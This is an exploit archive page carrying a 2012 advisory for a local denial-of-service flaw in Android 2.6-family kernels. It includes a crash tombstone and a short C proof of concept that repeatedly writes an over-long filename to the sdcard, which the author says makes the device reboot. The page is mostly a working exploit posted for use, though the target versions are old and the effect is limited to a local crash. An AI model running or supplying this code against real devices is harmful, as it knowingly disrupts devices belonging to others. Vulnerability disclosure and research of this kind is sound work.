what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Android Kernel 2.6 Denial Of Service

Android Kernel 2.6 Denial Of Service
Posted Dec 9, 2012
Authored by G13

Android kernel version 2.6 suffers from a denial of service vulnerability.

tags | exploit, denial of service, kernel
SHA-256 | aded2da283d17a02c6329ceee383865dec81c3d630ebd4eec4ae26cbc0606fa3

Android Kernel 2.6 Denial Of Service

Change Mirror Download
# Exploit Title: Android Kernel 2.6 Local DoS
# Date: 12/7/12
# Author: G13
# Twitter: @g13net
# Versions: Android 2.2, 2.3
# Category: DoS (android)
#

##### Vulnerability #####

The Android OS is vulnerable to a local DoS when a filename with a
length of 2048
or larger is attempted to be written to the sdcard(vfat fs) multiple times.

The result of successful running of the exploit code is the system restarting.

The vulnerability only effects Android kernels that are in the version
2.6 family.

##### Vendor Timeline #####

The Android Security Team has been contacted with updated PoC code and
details.

They have been aware of this vulnerability for over a year.

##### Tombstone #####

*** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
Build fingerprint:
'verizon/SCH-I800/SCH-I800:2.3.4/GINGERBREAD/EF01:user/release-keys'
pid: 349, tid: 363, name: SensorService >>> system_server <<<
signal 8 (SIGFPE), code -6 (?), fault addr 0000015d
r0 00000000 r1 00000008 r2 00000040 r3 00000000
r4 2a114310 r5 00000000 r6 51504690 r7 00000025
r8 2a114330 r9 2a114350 sl 00000003 fp 00000003
ip fffd4084 sp 51501eb0 lr 40039b70 pc 40037cf0 cpsr 20030010
d0 4271bc7bd0b80000 d1 0000000000000000
d2 0000000000000000 d3 427181eae9200000
d4 0000000000000000 d5 0000000000000000
d6 0000000000000000 d7 0000000000000000
d8 0000000000000000 d9 0000000000000000
d10 0000000000000000 d11 0000000000000000
d12 0000000000000000 d13 0000000000000000
d14 0000000000000000 d15 0000000000000000
d16 3fe99999a0000000 d17 3fe999999999999a
d18 0033003200310030 d19 0000000000000000
d20 3fc554e7eb0eb47c d21 3e66376972bea4d0
d22 3f4de16b9c24a98f d23 3fb0f4a31edab38b
d24 3fede16b9c24a98f d25 3fe55559ee5e69f9
d26 0000000000000000 d27 0000000000000000
d28 0000000000000005 d29 0000000000000000
d30 0000000000000000 d31 0000000000000000
scr 20000010

backtrace:
#00 pc 0000dcf0 /system/lib/libc.so (kill+12)
#01 pc 0000fb6c /system/lib/libc.so (__aeabi_idiv0+8)
#02 pc 0000fb6c /system/lib/libc.so (__aeabi_idiv0+8)
#03 pc 0000fb6c /system/lib/libc.so (__aeabi_idiv0+8)
#04 pc 0000fb6c /system/lib/libc.so (__aeabi_idiv0+8)
#05 pc 0000fb6c /system/lib/libc.so (__aeabi_idiv0+8)
#06 pc 0000fb6c /system/lib/libc.so (__aeabi_idiv0+8)
#07 pc 0000fb6c /system/lib/libc.so (__aeabi_idiv0+8)
#08 pc 0000fb6c /system/lib/libc.so (__aeabi_idiv0+8)
#09 pc 0000fb6c /system/lib/libc.so (__aeabi_idiv0+8)
#10 pc 0000fb6c /system/lib/libc.so (__aeabi_idiv0+8)
#11 pc 0000fb6c /system/lib/libc.so (__aeabi_idiv0+8)
#12 pc 0000fb6c /system/lib/libc.so (__aeabi_idiv0+8)
#13 pc 0000fb6c /system/lib/libc.so (__aeabi_idiv0+8)
#14 pc 0000fb6c /system/lib/libc.so (__aeabi_idiv0+8)
#15 pc 0000fb6c /system/lib/libc.so (__aeabi_idiv0+8)
#16 pc 0000fb6c /system/lib/libc.so (__aeabi_idiv0+8)

##### PoC #####

#include <stdio.h>

int main(int argc, char** argv) {
char buf[5000];
int j,k;
FILE *fp;
/* Path to sdcard, typically /sdcard/ */
strcpy(buf,"/sdcard/");
for(k=0;k<=2048;k++){
strcat(buf,"A");
};
for(j=0;j<=50;j++){
fp=fopen(buf,"w");
};
return 0;
}

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close